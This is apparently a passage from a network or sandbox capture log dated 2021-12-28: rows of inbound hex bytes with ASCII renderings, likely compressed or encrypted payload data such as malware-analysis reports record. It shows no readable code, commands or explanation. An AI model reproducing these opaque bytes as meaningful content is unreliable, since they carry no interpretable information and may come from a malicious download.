fc fb 2f a0 c7 18 3c c3 72 01 cc 80 d1 ca f0 8c b8 d7 bc eb 87 4e 16 5b 0c f1 96 e2 f3 c3 bd 00 57 fd df 19 8f ca 2b 1a 34 0b 77 4c ef d0 96 c2 1b 39 46 f1 ce 61 0d c2 dc 63 4c e9 96 1b d1 e9 92 Data Ascii: .4h{y@r\Ltb>B+8F0hWK,S &m6q-8]!Y"[gv-N\Wr)%cf7")TU@2vz7&E*LT-"/U[r6mIa!Z$B,/<rN[W+4wL9FacL
2021-12-28 17:13:33 UTC	144	IN	Data Raw: 37 a0 3f 87 8c 50 0f f0 69 7f 8d a6 b1 b4 cb f8 bf 93 28 57 79 c8 13 f2 a8 bd a0 9f c5 29 f3 32 3a e0 18 3b c8 88 b7 f0 00 9e 87 f0 16 88 3c 2f ba d5 fd 1a 03 b3 52 6a 0b 27 04 6a ac 56 32 db 3f c7 ad 15 fb f8 4d d2 a1 55 0c 5e 45 26 85 d0 8b 1d 61 41 a6 34 27 39 d0 c7 5e be aa 11 a7 78 ad a0 ae 2f 24 29 2d f5 6a 0e c3 c9 ea d8 74 df a4 bd 9a 28 7e b3 69 c8 1a f2 17 4f 2e 53 14 18 4d 75 a6 f7 62 b3 71 a4 ff 2b 4c 8b 2e f4 24 e5 b0 c6 4d a4 d7 a4 67 b5 6f 8c 22 b0 77 14 03 8a 4c 5b ef d6 cf 1d ea f1 a0 5f b9 c6 76 65 e5 46 ba 3d c1 03 93 4a 06 e7 0c 22 bf 28 79 67 33 9e f7 2d bd 3f b3 b7 06 5d 54 74 44 72 c9 ab 9d 4a 1b 8a 68 4c 88 69 57 01 2d c5 33 81 2d af 73 8f 5f 0e 0a aa 36 25 6e 96 b8 bf 18 eb cb fb 7a e1 10 fb f1 b4 b6 dc 95 13 f5 32 26 10 9c cb 2f Data Ascii: 7?Pi(Wy)2:;</Rj'jV2?MU^E&aA4'9^x/$)-jt(~iO.SMubq+L.$Mgo"wL[_veF=J"(yg3-?]TtDrJhLiW-3-s_6%nz2&/
2021-12-28 17:13:33 UTC	148	IN	Data Raw: 69 8d 79 54 52 63 bb e0 ad af df 7b e1 89 94 16 1f d1 1f b6 9d fd 08 1b e1 14 6d 59 10 fd 10 fc 4d 84 5c e2 e6 ae 18 e9 42 88 ad 69 15 46 df ca 60 a5 38 0f 44 1a 5e 6d 44 84 91 44 51 3b 34 16 44 2a f1 6f 76 0f 9a 87 a7 7b 9a 86 54 b7 f1 93 18 43 08 1f c1 7c ba b2 48 1a 2b 57 20 df a4 be 3f dd 80 24 f3 73 7c d4 db 3b 5f 31 4f 5b b1 52 eb a9 f5 c0 d0 de 2f c0 37 89 43 eb 74 a2 ec 76 b5 c8 b2 92 8e 52 8d 7b 39 ca 01 94 60 c4 a3 93 f0 2d 1f b6 62 25 fc 1b 67 4a 23 05 af e2 40 dd 1f 93 de 41 11 cb 08 e0 ee be 96 16 9d b4 65 fb 68 ff 41 41 cb 47 f5 1f 39 80 6b b2 d0 eb e8 fa 82 84 2c a4 71 4a 70 22 e5 27 36 7a 5f 9f f1 48 f2 ae f5 40 3d c3 64 64 4d 5e 0a 9b 7a 14 f4 f6 4e 75 cd d1 e9 bb ef af 26 da 1c d3 ee 24 2e 09 27 33 d3 0b 15 bf 3d 36 3b 49 1a 87 6a 3c 7f Data Ascii: iyTRc{mYM\BiF`8D^mDDQ;4D*ov{TC\|H+W ?$s\|;_1O[R/7CtvR{9`-b%gJ#@AehAAG9k,qJp"'6z_H@=ddM^zNu&$.'3=6;Ij<
2021-12-28 17:13:33 UTC	152	IN	Data Raw: b1 19 e8 8b a2 62 f7 dd 3b de 12 dc d5 36 99 4a ae 86 fb d8 31 1a 97 7b 2d 21 b1 cc a4 63 26 d7 f4 ac 01 dc 49 e5 cc 79 49 36 0c cb 89 7c ae c8 1d 5a ff 65 f0 45 94 ba 59 b2 f8 85 95 12 43 18 b4 ae 2e 38 d5 b0 9a d0 d8 18 3b a1 d2 f0 4b cc 3c 6c b9 c1 b8 97 9c 5a c1 e3 c9 10 a8 79 18 7e d1 88 b8 72 29 42 10 ed aa dc 1d e3 f8 3e d9 a1 da d0 f9 14 bd 1c 1f 4f be a4 1c 7f 1c 56 69 12 56 12 85 b9 f4 f2 30 f7 e3 e6 76 cf d4 dd 20 12 38 07 ab fa 72 e5 67 55 df c8 b9 0a f3 19 f3 ec 9f b8 4f bc f4 7f 69 3d bd e0 a2 eb c9 85 65 5d b1 e1 21 62 8b 97 0e 26 a8 fd 76 78 54 48 ce c1 ba d0 d7 b3 ec fa 91 2c 49 59 bc ff 37 14 9b 31 12 6d 24 25 bb ab 27 4c 68 24 51 82 90 e4 f4 a7 9a 04 f1 b8 06 a5 cb 62 1e 56 a1 6f 50 62 4d b6 9e 45 5c 29 d2 08 2e 44 4e 7c 50 5f bb 44 58 Data Ascii: b;6J1{-!c&IyI6\|ZeEYC.8;K<lZy~r)B>OViV0v 8rgUOi=e]!b&vxTH,IY71m$%'Lh$QbVoPbME\).DN\|P_DX
2021-12-28 17:13:33 UTC	156	IN	Data Raw: c7 83 5b 13 2a 82 3e 5a b1 ab 03 b0 44 2b ca 1a bc 58 a9 92 ee e3 13 00 30 72 c5 2d a8 8e aa ad 43 69 30 a0 15 00 bc b8 15 4d 0b 96 18 8c 46 91 55 75 dc 86 32 46 5c 38 6e 64 9e fd ce 3d dd 57 74 c4 25 33 18 c6 7e ae ff 7b ee 3f 4b db 42 4f c6 21 41 90 28 ff 32 be ba d6 08 e1 20 05 57 43 e1 38 93 84 5c 96 78 c1 c8 25 cf 1b 8b cd 33 aa d7 8e e2 59 c2 bf 14 ce 39 f8 d4 3f c9 db 7f fc 5b d1 9a d3 dc 10 5b 74 6e 99 b3 bf fa bd 26 6a 91 ed 3d ad b1 a8 22 71 d5 46 b9 09 33 3c 08 35 91 12 c7 ae 37 96 e9 94 10 b6 37 dd 29 4a 2f 6c 07 5d f3 f3 46 71 73 26 ae 38 91 4e c5 b6 0e 0e ec 0e b6 16 e3 9e 62 5a d8 b3 ce 1c 7e 52 a4 06 53 a5 3c df b7 60 d7 dc d8 8a 9a 6d cc 63 fa 16 f7 ba 4f 31 96 c6 6f 8d a6 ac e2 34 9c e2 a5 21 e6 cf 1d 98 c7 c7 fd e0 f8 a0 1e 4d 1a 6a 9b Data Ascii: [*>ZD+X0r-Ci0MFUu2F\8nd=Wt%3~{?KBO!A(2 WC8\x%3Y9?[[tn&j="qF3<577)J/l]Fqs&8NbZ~RS<`mcO1o4!Mj
2021-12-28 17:13:33 UTC	159	IN	Data Raw: c3 f0 29 0d 8f 87 ac f2 e0 d6 57 e1 c9 1f a6 a1 59 20 ba ea e6 c4 5d fc df 9a 54 78 52 02 d1 ed 5a bd d4 bb 21 dc 47 3c e5 3f 61 92 b4 6b 7d 0e 5e 1f 0e c7 09 3a 33 1d 74 9a ca d9 7b 77 9a f2 76 fd e8 9a 3a 2b e1 ac 6a bd 79 70 63 18 ab b9 95 9b 25 f4 5a 5b 78 30 2b f7 84 01 84 d5 51 97 66 ce 1a d7 ec 41 f3 86 4b 7e ae 58 f0 97 78 a4 92 25 51 17 5b 63 cc 9a 99 3c b3 68 2f 69 07 a3 25 ba 05 ab c3 d7 4a 23 13 a2 13 9e 21 a5 43 b1 fd ca 82 8e 1c 97 e1 b5 13 5d 90 6c 9c 80 e2 07 06 23 f6 b7 2a 48 66 7f 78 e2 1a 92 35 b7 96 1b 1b 44 9c 3e 74 e5 21 f6 2a 83 2a ba 51 95 6c ae ce 8a e0 28 c9 68 fd 7b ce fe f6 9f 39 e4 90 8a 7e dc 56 cf b0 c1 b8 e6 10 0f 2d 21 b2 10 05 3f 19 10 5a 13 1e 37 0a fd 30 ae 2a c4 98 1e fc 74 12 e8 a4 f7 a4 32 ef 4a 91 2c 99 4b 70 32 87 Data Ascii: )WY ]TxRZ!G<?ak}^:3t{wv:+jypc%Z[x0+QfAK~Xx%Q[c<h/i%J#!C]l#Hfx5D>t!Ql(h{9~V-!?Z70t2J,Kp2
2021-12-28 17:13:33 UTC	164	IN	Data Raw: 42 7e e5 80 16 c9 38 68 67 af 2d 91 78 d7 03 75 60 08 e4 b6 af e3 63 cc 0e 06 43 2f 12 62 08 49 f8 4e 99 e3 d0 68 2e 65 83 6c e5 e1 45 f9 e5 d8 c6 6e 4b 03 fe fe d6 ae e4 ae 02 9f c2 35 42 6a 0e 0c 5f bc f0 87 85 c1 50 df 6f af bd 25 da f9 ba 9e ee e6 d7 72 b5 a7 85 3c 02 17 7e dc 9f f8 1a 1c f5 6d 3f 92 25 c8 04 3f 54 5d 00 40 14 be 4e 05 ef 94 ec 37 02 59 ee 5f b3 70 79 e7 a2 4d 91 76 3c b5 02 4b b6 74 7e f4 a2 04 17 0c c8 ba 85 7b 9b 02 96 c5 00 b2 83 7c f0 b4 93 3b 87 d3 51 9b 61 72 30 46 2b 01 6b 3f 30 92 c8 19 ce dd 61 c3 f3 ff e2 9f f0 f7 16 4d dd 38 c5 58 8b e3 47 8c 85 ff 66 ab cb 28 5a 9d 30 c1 ed b2 31 a8 9a 24 6c 54 2d 26 2d 28 b5 6d ac a3 98 08 03 3b 77 e6 29 5d 1b c4 bb 59 25 7e e6 a8 53 38 b9 eb 22 fd fc 9e 6a 15 a8 30 49 1c b8 47 fe c1 1f Data Ascii: B~8hg-xu`cC/bINh.elEnK5Bj_Po%r<~m?%?T]@N7Y_pyMv<Kt~{\|;Qar0F+k?0aM8XGf(Z01$lT-&-(m;w)]Y%~S8"j0IG
2021-12-28 17:13:33 UTC	168	IN	Data Raw: 45 1c 75 d7 0d cd 37 4c 07 52 5d b4 17 0a 15 02 61 7d 4f 88 3d 61 ff eb a0 0e a3 c3 42 ec 0e 0b 1a dc 56 a9 53 d9 0f 27 0a f9 9e 58 e2 7f 49 c6 00 63 c0 08 d5 fa 73 72 13 7c 55 c3 79 f2 1a 43 99 5f 80 57 94 1e 78 03 93 05 0d 02 fd 59 40 59 ca a4 7f 61 56 09 d4 2b 63 4b 98 a1 2d b7 5d 4c fe 13 4a a7 08 4a 2f 33 6d dd 1b 26 f9 52 22 d4 12 cf 67 ce 60 07 7d 36 14 b2 7f c1 7a 8f b4 bb e8 e8 02 cb 3a fd 39 ec 2f 58 99 16 a2 13 54 61 64 82 fe 5a 75 4a 17 94 e5 f6 12 c1 7d 5b 38 d0 88 b2 e9 c9 78 08 89 89 4e f2 e9 b8 6e b5 9b ce fb 13 2a bd 5e ef dc 61 4e 4a 42 9b dc a3 e4 df 66 1e db 36 44 89 1e 67 04 a6 02 d5 7e 36 16 53 6e 1f e7 ba bf c0 cf b7 64 07 3b 5a 8a 3a 16 44 5d ea d8 24 23 5e e5 f0 81 39 9d 28 c2 80 c3 53 12 9d 1a 74 0b 0e b7 db 72 0d 41 ba 89 02 86 Data Ascii: Eu7LR]a}O=aBVS'XIcsr\|UyC_WxY@YaV+cK-]LJJ/3m&R"g`}6z:9/XTadZuJ}[8xNn*^aNJBf6Dg~6Snd;Z:D]$#^9(StrA
2021-12-28 17:13:33 UTC	172	IN	Data Raw: af cb 55 27 c4 57 42 77 75 f0 82 a6 28 89 da 76 2b 57 4a a3 25 f7 83 37 fc 5e 1a af 65 c6 cd ef 15 b5 54 b5 b4 ae 0b 29 b5 5e cf 1f fb da 36 f0 6a a7 4b 39 fa 90 fb 65 92 90 ab c5 11 1e cc c8 e5 7a 80 45 01 ee 4d 16 2c 85 9f eb 2b c8 e3 ff 54 66 10 72 eb 2b 72 59 15 28 95 00 44 c4 e3 3b 13 af bd 1d d2 67 30 f2 02 78 d0 81 32 b2 47 2e 54 d5 71 c2 48 1b f5 5d 95 90 f6 46 49 55 6b 6c 80 8d ff ed e7 9c 99 3a 87 b4 b3 6e fd 2f e8 13 c1 6d 49 bc 9f b3 5f df 7a 27 c7 92 57 75 5f 4e 00 f2 43 b2 83 66 4d 6e 46 56 3f 80 a3 88 dd 83 96 6a bf a6 23 dc 28 a2 ae 28 0a f1 d0 f5 d0 84 84 55 8f a7 c8 2c 0f 8c 72 0c 65 b7 3f 32 69 ab 11 4c 7c 04 bc 05 e9 68 0d d0 5c ee a5 98 bb d6 7b 32 d3 93 2e 3f 6d 87 f6 a5 19 80 3c cd 95 0e c0 56 e5 f2 0f d0 6b 99 d8 1b 9b 1b c1 43 1e Data Ascii: U'WBwu(v+WJ%7^eT)^6jK9ezEM,+Tfr+rY(D;g0x2G.TqH]FIUkl:n/mI_z'Wu_NCfMnFV?j#((U,re?2iL\|h\{2.?m<VkC
2021-12-28 17:13:33 UTC	176	IN	Data Raw: 71 12 d4 42 6d b5 dd a4 77 12 88 f3 72 9b 79 b0 6f 95 e6 cb f5 21 e0 b4 79 64 51 90 5f 6b c1 a5 a5 a7 71 28 6b 8e 37 f4 09 5b ef 44 37 4d 9d 50 6d e6 5b f3 e9 e9 83 65 f4 fa ee 9d 65 b6 87 4f 1c 72 e5 79 7a c6 79 18 8f 3d 15 dd 87 48 83 f9 7b 29 08 71 03 51 42 02 3f a3 3f b1 e7 bf 9d eb 5c 0f b0 30 6f c3 1a 97 87 db 3f ff 42 bf b6 75 7a d8 0c db 2b f4 af 0b 5b 9d 5c c0 61 3c 1d da a8 44 ff d8 57 68 d5 f1 4c 68 c6 a9 92 8e 27 11 ee b5 cb 97 e8 28 c5 af 87 0c 46 e0 86 a9 37 fc c5 74 02 c7 68 26 d3 5c 84 dd 4c 8b cb 1a 4c 79 f3 6d 02 78 92 2d 02 68 7d e1 03 da 42 fa e3 5b f5 90 42 6f d9 de 1d 3f 8d 84 03 64 42 65 61 db f3 91 21 f0 09 c7 47 ac 7b f5 14 04 c1 da de 94 2a e9 b4 12 53 50 99 e4 06 48 ee 18 35 4c b6 cd f0 c8 0f 0b ee f8 98 bb f1 70 4a b9 87 cf b3 Data Ascii: qBmwryo!ydQ_kq(k7[D7MPm[eeOryzy=H{)qQB??\0o?Buz+[\a<DWhLh'(F7th&\LLymx-h}B[Bo?dBea!G{*SPH5LpJ
2021-12-28 17:13:33 UTC	180	IN	Data Raw: 70 6a c3 15 52 0e b9 c0 cc 9e c0 14 01 35 3b e1 0c 2a d7 3e 94 f5 34 65 eb 41 45 d7 15 0f 53 37 01 be 11 b7 55 0a f1 59 7a 89 80 e4 33 44 6e 57 0b 48 41 69 c5 bb 8b 8f 2a 05 11 a2 1f 8b e1 fb fd 3f 99 85 71 1e d8 dc a5 f7 ef c0 21 01 5b 3c de f8 9d 15 91 9b b9 72 e4 53 1c 7e c3 67 4d bd af 8a b9 f0 1b c6 51 87 67 ad 6b 45 62 66 46 eb 7a cf 9e 82 0e 55 79 c6 b0 f9 12 74 1f 93 43 83 0b b5 d4 ec dc 9f a4 50 74 e6 d8 2c 17 b9 3f 4a b1 9d 51 6c b6 d8 f9 fa 87 6f 17 91 c7 04 26 07 19 cc a0 82 ab e7 aa be 05 3f 60 63 6d a9 4e a8 76 b9 2e 2d b9 d3 ec 22 52 5a ce 68 7d 45 30 55 f6 bb 0a 6d 62 8d 8a 05 00 d3 cf 75 78 58 54 42 5f ef 95 e5 2f 7f 43 22 19 3f bf 3b 5d 41 a4 01 b3 5b 7b e8 6b be 1b 95 97 99 df 81 0e 4a 2a 2c b1 0a 8e 86 66 73 16 cd 2d e4 ef 49 86 b4 4c Data Ascii: pjR5;>4eAES7UYz3DnWHAi?q![<rS~gMQgkEbfFzUytCPt,?JQlo&?`cmNv.-"RZh}E0UmbuxXTB_/C"?;]A[{kJ*,fs-IL
2021-12-28 17:13:33 UTC	184	IN	Data Raw: 91 97 8e 32 af 87 45 09 ac 98 27 1d 88 6b 42 3b e7 be b7 0d 7e cc 71 42 dc 64 eb 62 02 4b b6 96 df e6 ad ff 9b c1 65 6b 09 e5 7a b3 fc 6f 3f a2 ae 83 c7 b8 e0 85 e8 c5 19 f8 49 5a 9f c0 31 8c cf 98 6c fa 3e 1f cc 8a 0c 74 7e f6 92 f7 5d 86 36 05 e0 ae 67 ba 29 76 49 10 60 02 d8 76 73 e8 43 37 77 74 e7 d3 e1 67 3e 68 88 44 0a 93 ee 04 ae ea 9f a7 d0 9f 5e 26 5d fb b1 8b cc 26 e1 4b e6 9e fb 25 9e 23 b2 6b a5 e8 b0 c9 8b cc ec 09 87 ea f8 56 1a b2 82 c2 a2 d5 00 66 64 1c f9 b1 43 29 20 1f 5d d9 ce 44 59 66 a2 87 8d 35 af 4f 28 f4 1c 07 e8 2c 71 05 c4 bc b1 fd 48 4d aa c1 35 d6 20 11 16 19 cd 9e 30 c2 4f 4e bb 36 c7 fa 71 42 30 08 eb 2c ae c1 07 da 4a 7d 2e fb 49 ec da b0 c5 5c 76 bf 79 7d e3 e2 88 c7 fb e1 fe 04 74 60 c8 79 49 a1 67 01 ff 86 00 e8 b3 a5 1b Data Ascii: 2E'kB;~qBdbKekzo?IZ1l>t~]6g)vI`vsC7wtg>hD^&]&K%#kVfdC) ]DYf5O(,qHM5 0ON6qB0,J}.I\vy}t`yIg
2021-12-28 17:13:33 UTC	188	IN	Data Raw: 1f 46 ac 0b dc 76 4f d8 e7 08 4a 12 65 c7 22 c2 db 6f 4d 90 3e a9 37 f7 6c 42 15 30 36 57 b5 bd 7c 97 3b ca 01 e1 6a 0f 06 d4 96 f5 b1 50 13 6c 56 8b 0d ca 33 71 e4 68 2d c4 eb 2f 22 68 98 3a dd 03 7c cc 35 0d a7 d7 d1 ca e1 15 22 54 17 20 ad 90 68 31 38 da 90 45 ac 61 f8 86 5d 9d 2e 86 0a d0 13 c7 f3 2c 67 41 b7 14 7d 8a 0a 1f 37 e9 87 7d 33 c5 20 e4 17 de 10 27 9a 74 0e b4 9d 6e e5 19 dc 03 af a8 c2 8e 9b c5 10 1d 69 a3 37 6e 35 60 91 26 e7 15 6f 43 9a 5b 7c 10 8a cf 8d cb 1d 1b 8b cd f9 aa 51 a1 0e 17 69 ee 68 ae 94 7c d7 f1 da 7e 7e 79 67 72 8f a0 5a 24 4c 6f 7f ff cb 1a eb 8c bc 1c 0c 80 b8 ab 6a 14 93 0a 53 33 98 31 9f 16 90 10 4b c5 d4 19 a8 a2 84 84 5a fb 30 5e 6a 42 1c 78 5c 28 85 d3 b5 fe 6d 6d af bc 70 d0 76 bf 63 7d e3 b5 fa 93 26 5e 2e 2c 84 Data Ascii: FvOJe"oM>7lB06W\|;jPlV3qh-/"h:\|5"T h18Ea].,gA}7}3 'tni7n5`&oC[\|Qih\|~~ygrZ$LojS31KZ0^jBx\(mmpvc}&^.,
2021-12-28 17:13:33 UTC	191	IN	Data Raw: 1c a0 01 4e 42 10 31 3f 9c b9 58 cd 16 4b 77 ef a6 4d 0c 3c 02 f9 69 69 f8 4e 82 3d b1 0d 05 ef 8e 25 ab c7 b1 cc f5 b1 62 d5 75 bf 14 55 e0 3f 6e 9c 67 1c db 84 5b fe c8 ae a2 84 04 68 03 47 71 a6 04 f6 09 fb 53 80 f5 74 de 53 bd d5 c7 1a a5 5a 93 df 86 ed 55 e3 66 1a 4c 26 f5 c3 be c0 9b c7 46 db 8f 94 0c 00 55 13 0e f5 a1 a4 74 ad 5e 41 51 1c 7e 2d 51 63 d7 fa 09 66 f5 00 9c 03 9f 64 44 b8 49 97 41 1a 25 75 15 ce 82 19 c3 3c c4 d2 38 9c a8 de 93 ef a7 b4 1c fc 56 e5 46 ac c5 da 03 9e 8b fc 45 e2 b6 da c6 bd b0 ed 72 e4 2a 40 b3 61 b1 95 a9 c9 62 bd 7d 7d c6 cb 69 9c 3a 72 ee 2e 82 b9 d1 75 56 a2 f3 df 7d 14 9f 2b 7f 70 6d 9e 85 e4 14 33 2b 07 61 f9 15 89 63 77 57 ce bd 3d d3 8e f0 71 94 3d 6f 3a b6 8b ac a9 ad e0 8a 77 60 2f 4f 9e c9 b4 ba be d5 e0 22 Data Ascii: NB1?XKwM<iiN=%buU?ng[hGqStSZUfL&FUt^AQ~-QcfdDIA%u<8VFEr*@ab}}i:r.uV}+pm3+acwW=q=o:w`/O"
2021-12-28 17:13:33 UTC	196	IN	Data Raw: 17 c1 ba 40 92 ae 4b 91 4e da 0f aa 43 0c d9 e3 01 83 45 24 a4 08 cf f2 ee 04 42 a2 90 c2 2f 83 38 b4 19 61 89 63 19 32 f9 ec f6 a6 82 a4 22 6f 0e 15 fb 06 7e 4e ba 7a d9 17 c8 49 73 fe 35 fb 33 b0 d8 ba 4b 92 03 94 8e 5b e8 b8 63 ea 6d fe a8 2c f7 2f 8e 1c 59 0b 3a f5 17 8b 3f 9b 2b b3 8e 68 59 a6 e5 7e c5 85 3d 25 62 35 b0 b6 94 16 17 9f 3d 5d ca b7 f9 23 df 29 61 e1 56 84 5d cf 45 92 35 7f 7c e5 3a c7 12 de d7 1e 29 54 c2 2b fd a7 a5 d7 e9 1f 6c 39 15 50 f1 60 93 23 7b 0b ea 74 3e d9 bb 9e 91 8f 0f c5 16 1d 10 9d 8f 35 c1 76 fa c1 1d e9 96 a8 d3 e5 81 3e 56 7b 09 7c b0 cd 43 65 c0 ec fb 1c 4b 0c 77 2d 4e 22 0b 49 7d 98 a4 f4 0d 7b 92 c5 0b 72 96 12 5d 22 4e 83 80 46 1e 2e e8 56 49 d7 4c 0c ab b3 c2 9c 00 72 3e 5f 9e 87 67 39 df 75 39 56 e5 1c 1b 49 dc Data Ascii: @KNCE$B/8ac2"o~NzIs53K[cm,/Y:?+hY~=%b5=]#)aV]E5\|:)T+l9P`#{t>5v>V{\|CeKw-N"I}{r]"NF.VILr>_g9u9VI
2021-12-28 17:13:33 UTC	200	IN	Data Raw: a7 aa ea 79 13 ab 8c 69 52 4b 9b b3 9a 7c 55 44 91 82 17 bd 08 9d 21 a8 47 a9 ec 72 5f 50 cd 17 9e 1d 4b 23 73 a5 2e cb 8a dc 63 c6 27 ad 61 56 9b 4e 49 d5 ae 8e 61 44 39 57 5d 0b bf e0 0a a3 85 55 ed 3f b3 d1 4c 32 4b fb fb b4 51 98 7a 2c aa fc 7b bc 0a a7 9c 26 cc fc 2c Data Ascii: yiRK\|UD!Gr_PK#s.c'aVNIaD9W]U?L2KQz,{&,
2021-12-28 17:13:33 UTC	200	IN	Data Raw: b1 a3 96 3b 9d 6d 44 20 9a 35 a7 f4 76 7b ba 6e 1a 83 bb c1 a4 fd 10 b5 be eb ec ce 0b a5 d2 a3 8e 41 f1 0d ea 26 00 cb 8a 7e 36 72 07 3f 8b 63 56 86 5e a3 38 2f 77 4c 05 fc 85 26 66 a2 a9 2d 52 70 de ea 6f c0 7c 88 c6 23 dd e3 b2 c7 1f 9d e9 7f e9 fd 44 88 f3 04 e5 80 5b a1 91 b4 0a 5d 8a 88 ad 92 fd f4 e8 d0 49 00 b5 9a 96 1c ee 23 d6 00 65 ae be 4d 71 92 18 dc 27 01 d9 4d 46 e0 ad 62 a4 22 6e b8 b9 ff 11 9a b1 5a 3c 3d ed 91 5d 96 f6 18 06 4b 8e fa 3e 30 76 4e 7a b1 91 e5 19 c7 ee fe 03 66 f7 7f 2f b5 0e db 30 4e ed 2c 41 db ce 8f 3d 00 22 c7 e5 f3 cf 8d d8 e7 eb f3 e9 0b d0 5e a2 3c 52 8f 25 f3 93 1d aa 31 90 aa 9f 0a 29 27 33 92 2b 34 e1 85 b0 94 36 99 8f b7 58 f2 7a 87 09 b0 dc 1e 2a 68 3a 1a 74 6e 46 ba 4b 97 26 a0 57 f2 ed f9 bf 87 b8 69 1c 05 2b Data Ascii: ;mD 5v{nA&~6r?cV^8/wL&f-Rpo\|#D[]I#eMq'MFb"nZ<=]K>0vNzf/0N,A="^<R%1)'3+46Xz*h:tnFK&Wi+
2021-12-28 17:13:33 UTC	204	IN	Data Raw: a6 9e 4b 16 38 21 70 2e 4a 6e b0 6f 10 6e 6e 5a c4 d9 57 a9 bc 60 88 53 49 93 86 73 83 f0 fc 41 fb d4 00 de 84 5d 58 19 a7 8c 33 87 e5 45 3f 47 d4 14 fc c9 c9 c0 9e ab 3d f2 0c f5 87 a9 b9 33 41 11 39 33 5a bc 6e 09 65 c6 35 0f 2c 5a da 2d 4d 86 a3 2e a5 ce ec e2 0f dd 84 ce 1e 9e 47 88 25 b6 f1 32 00 c2 ab c0 ae 62 57 14 58 41 7c 47 00 d9 a2 ed 88 a1 e8 cf 85 3c a8 66 fc d1 95 db 1f 53 e4 60 7e 51 b0 7e c2 f0 f0 36 fc ae 06 d2 bb a3 68 f2 57 6e bf e2 23 6d 3e bb 94 39 df 73 07 7d 9e f0 48 96 16 0c fa f9 3c 9c 2b 07 02 81 5c 7a 75 dd 72 39 7d 52 ab 19 f4 e1 05 0c 82 07 b7 c6 35 1e 66 b5 eb 5d 34 a7 c6 5b de 30 54 34 9e 26 c6 18 b4 58 74 58 05 eb 69 37 61 9e 0b 08 88 d5 6e 52 ce 8d 0a 9d c4 6a 4d e3 19 c1 3d 7c 31 3a 88 2c ee 2c 29 fc 66 d5 4d 5c f6 e5 33 Data Ascii: K8!p.JnonnZW`SIsA]X3E?G=3A93Zne5,Z-M.G%2bWXA\|G<fS`~Q~6hWn#m>9s}H<+\zur9}R5f]4[0T4&XtXi7anRjM=\|1:,,)fM\3
2021-12-28 17:13:33 UTC	208	IN	Data Raw: 34 1a d4 01 b8 5e 98 13 1a a3 67 0d 0d c7 59 6a d0 b7 f6 73 10 f4 8c 62 ab 26 d0 6d 84 c1 19 35 04 e0 13 88 c5 16 59 55 b7 6a 8e 51 f3 f2 f7 f4 ae a9 2a 03 45 07 56 52 dc 58 97 95 3b 0e ca 39 a1 1f 1f 8b b5 20 19 52 23 f0 e1 c5 23 66 25 10 dc 01 ad 7e 47 10 86 12 b7 f7 f8 32 e3 ff 65 a8 9e 52 1b 12 5d 8a b9 1e b3 ed 94 34 c7 1e ee e2 39 3c 75 4e bb df 0f db 4e 84 77 02 7f 08 73 db a9 b2 81 58 89 d7 a9 6a 75 b3 3c 70 39 03 c9 26 ec c3 a4 ff 89 0b 77 7f f8 98 2e 68 4d 78 4b 24 72 20 f4 16 a9 a7 fc 7e e5 9a 53 92 b9 f6 12 af d4 9c 7a 6f 6b 20 fd 9c 24 1d a7 7d 29 05 ca 8c f4 a4 85 d1 a5 af 27 1f 94 67 0c c6 92 dd b6 d6 0f 58 67 00 cb dd b5 fc df a6 8b 7b dd 7f 86 c0 90 c5 4c 97 0f da 67 91 ed c9 ce 23 c0 67 f5 a0 48 fe 15 08 0a 02 f5 e7 d2 47 87 f3 6a 1a 23 Data Ascii: 4^gYjsb&m5YUjQ*EVRX;9 R##f%~G2eR]49<uNNwsXju<p9&w.hMxK$r ~Szok $})'gXg{Lg#gHGj#
2021-12-28 17:13:33 UTC	223	IN	Data Raw: 82 06 58 3a 48 28 07 d2 4d a0 3b 76 d0 24 17 43 9a 9d d8 62 8c 5c 2d 22 fe c9 07 61 a1 c5 84 ee 7e c7 c0 df 44 c8 d9 47 56 eb 6d 29 37 8f b4 5f e2 bf 31 75 5b e0 c2 bd 5a 55 b0 49 6e 15 82 6c 7e 1c 06 30 c9 ce d3 43 5f 25 65 9e 02 b3 3a d5 16 08 16 3c 60 06 0e 5d 1f 4e ce 44 f6 5e 7c c8 1d 32 73 ce 18 5a 94 95 0e 14 fe f6 4c 27 9b 4f c9 8a 8f 9c fc cf c3 18 ea 5d 61 25 2e 79 4b 4c 49 22 84 2d 85 b4 ab f2 a7 b9 a1 ba f1 46 94 3b 9b 81 41 ac 5f 11 63 97 da 26 f4 ea 25 1a ec 37 9e a4 f1 59 3a 06 b5 da 90 51 1d 93 f1 7d 7a 28 0a 5d f6 35 19 e6 6b 5f 6e e7 b3 5b 49 4a 50 29 ed 44 1d dd d0 5f 6b 67 0a 8d 6d 8c a6 52 ce 9c 24 91 fc 92 11 82 37 c5 81 05 e8 25 64 cd 95 11 75 f7 e7 b3 d8 2b 21 80 46 95 24 a5 4c 23 ed 5e ec 54 16 87 1d 97 00 aa 21 de ec 59 64 aa 0c Data Ascii: X:H(M;v$Cb\-"a~DGVm)7_1u[ZUInl~0C_%e:<`]ND^\|2sZL'O]a%.yKLI"-F;A_c&%7Y:Q}z(]5k_n[IJP)D_kgmR$7%du+!F$L#^T!Yd
2021-12-28 17:13:33 UTC	224	IN	Data Raw: 42 0d 0a ca 8c 01 59 66 11 f1 3b c2 1d c5 89 a8 c3 7f 19 34 6e 9c 58 aa 63 3b 3f 93 3f 73 98 16 3a 3f 5b 2d 38 9a 17 f6 eb 38 3c 69 32 62 cb 3c ba 55 19 d9 34 4d 12 d8 95 d6 af b0 67 2a f9 d5 d6 21 b3 9e 85 df 52 59 c8 71 8e e0 1c c6 f6 fd a5 38 96 8f 85 25 f9 83 f1 79 a1 cb d5 ff 88 4e 7a 4d 26 32 fd 79 69 96 b5 29 fa 7a 93 e3 af 6b 71 46 82 08 43 9f fc 52 52 f5 8f 58 40 56 18 66 1b b8 49 36 3a f2 2e 8b 9a 86 55 97 1a ab db 6a 4d d2 0a 91 09 25 bb f5 cd be db 95 c2 54 f7 0f 9c fa b3 1d a4 16 f9 58 ba ea a3 db 8c fe 6d e1 2a c7 9c d9 1b 9f 66 82 64 e3 75 e0 04 09 69 8d 95 9f 4c b9 a3 67 4c de fa b7 e2 ad 67 0b 37 3a 5b 0a 2c 50 3d 4b 6a 0f 09 df b1 f2 61 cd 49 5e 74 7e 3e 88 32 bc 26 f3 da d2 3b 76 d7 a4 fb 4c fd 79 f0 87 fd 3e ba 0a 1f bc 9c b7 d6 5d f5 Data Ascii: BYf;4nXc;??s:?[-88<i2b<U4Mg!RYq8%yNzM&2yi)zkqFCRRX@VfI6:.UjM%TXmfduiLgLg7:[,P=KjaI^t~>2&;vLy>]
